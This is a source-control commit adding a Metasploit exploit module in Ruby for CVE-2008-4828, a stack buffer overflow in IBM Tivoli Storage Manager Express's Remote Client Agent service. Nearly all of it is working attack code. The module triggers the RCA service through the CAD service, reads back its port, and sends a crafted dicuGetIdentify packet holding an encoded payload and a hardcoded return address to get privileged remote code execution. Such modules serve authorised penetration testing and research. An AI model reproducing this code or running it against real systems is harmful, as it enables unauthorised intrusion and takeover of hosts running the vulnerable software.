add exploit module for cve-2008-4828

git-svn-id: file:///home/svn/framework3/trunk@7925 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb

@@ -0,0 +1,160 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => 'IBM Tivoli Storage Manager Express RCA Service Buffer Overflow',
+			'Description'    => %q{
+				This module exploits a stack overflow in the IBM Tivoli Storage Manager Express Remote
+				Client Agent service. By sending a "dicuGetIdentify" request packet containing a long 
+				NodeName parameter, an attacker can execute arbitrary code.
+				
+				NOTE: this exploit first connects to the CAD service to start the RCA service and obtain 
+				the port number on which it runs. This service does not restart.
+			},
+			'Author'         => [ 'jduck' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'CVE', '2008-4828' ],
+					[ 'OSVDB', '54232' ],
+					[ 'BID', '34803' ]
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'seh',
+				},
+			'Privileged'     => true,
+			'Payload'        =>
+				{
+					# wchar_t buf[1024];
+					'Space'    => ((1024*2)+4),
+					'BadChars' => '\x00',
+					'StackAdjustment' => -3500,
+				},
+			'Platform'       => 'win',
+			'Targets'        => 
+				[
+					# this target should be pretty universal..
+					# dbghelp.dll is shipped with TSM Express, and hasn't been kept up-to-date..
+					[ 'IBM Tivoli Storage Manager Express 5.3.6.2', { 'Ret' => 0x028495d3 } ], # p/p/r dbghelp.dll v6.0.17.0
+				],
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Nov 04 2009'))
+			
+			register_options( [ Opt::RPORT(1582) ], self.class )
+
+	end
+	
+	
+	def make_tsm_packet(op,data)
+		pkt = ""
+		if op > 0xff
+			pkt << [0,8,0xa5,op,data.length].pack('nCCNN')
+		else
+			pkt << [data.length,op,0xa5].pack('nCC')
+		end
+		pkt << data
+	end
+	
+	
+	def explode_tsm_packet(buf)
+		return nil if buf.length < 4
+		len,op,magic = buf[0,4].unpack('nCC')
+		return nil if magic != 0xa5
+		if op == 0x08
+			return nil if buf.length < 12
+			op,len = buf[4,8].unpack('NN')
+			data = buf[12,len]
+		else
+			data = buf[4,len]
+		end
+		
+		return op,data
+	end
+	
+	
+	def extract_port(buf)
+		op,data = explode_tsm_packet(buf)
+		if op != 0x10300
+			print_error("Invalid response verb from CAD service: 0x%x" % op)
+			return nil
+		end
+		if data.length < 6
+			print_error("Insufficient data from CAD service.")
+			return nil
+		end
+		port_str_len = data[4,2].unpack('n')[0]
+		if data.length < (24+port_str_len)
+			print_error("Insufficient data from CAD service.")
+			return nil
+		end
+		rca_port = data[24,port_str_len].unpack('n*').pack('C*').to_i
+	end
+	
+	
+	def exploit
+		
+		print_status("Trying target %s..." % target.name)
+		
+		# first get the port number
+		query = [1].pack('n')
+		query << "\x00" * 10
+		data = make_tsm_packet(0x10200, query)
+
+		connect
+		print_status("Attempting to start the RCA service via the CAD service...")
+		sock.put(data)
+		buf = sock.get_once(-1, 10)
+		disconnect
+		
+		rca_port = extract_port(buf)
+		if not rca_port or rca_port == 0
+			print_error("The RCA agent service was not started :(")
+		else
+			print_status("RCA Agent is now running on port %u" % rca_port)
+		end
+
+		
+		# trigger the vulnerability
+		copy_len = payload_space + 4
+		sploit = rand_text(33)
+		# start offset, length
+		sploit[10,4] = [0,copy_len].pack('n*')
+		# data to copy
+		buf = payload.encoded
+		# we need this special encoding to make it work..
+		buf << [target.ret].pack('V').unpack('v*').pack('n*')
+		# adjustment :)
+		buf << rand_text(0x0c)
+		sploit << buf
+		data = make_tsm_packet(0x10400, sploit)
+		
+		connect(true, { 'RPORT' => rca_port })
+		print_status("Sending specially crafted dicuGetIdentifyRequest packet...")
+		sock.write(data)
+		
+		print_status("Starting handler...")
+		handler
+		disconnect
+	end
+
+end